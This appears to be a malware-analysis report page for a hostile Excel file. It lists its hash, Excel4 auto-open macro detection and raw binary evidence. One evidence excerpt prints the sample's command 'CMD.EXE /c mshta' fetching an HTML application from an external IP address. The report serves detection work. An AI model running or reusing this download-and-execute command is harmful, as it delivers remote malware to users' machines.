Hostile 99% Download

e912146fdbd295b3839df08f05fa55d494eb08e358632af3ec4b8839bef95e2e.xlsx

Detects Excel4 macro use with auto open / closeDirect external IP address in URL
SHA-256e912146fdbd295b3839df08f05fa55d494eb08e358632af3ec4b8839bef95e2e
MaleculeO(C)Th

Evidence

Detects Excel4 macro use with auto open / close line 0
0��ࡱ�����������������>���� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Direct external IP address in URL line 75511
75511����,�������Q����������� ���;�4�CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.htmlBn����������������}��B�6���������U�� ���� ����P���H����������������0�����(���� �������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.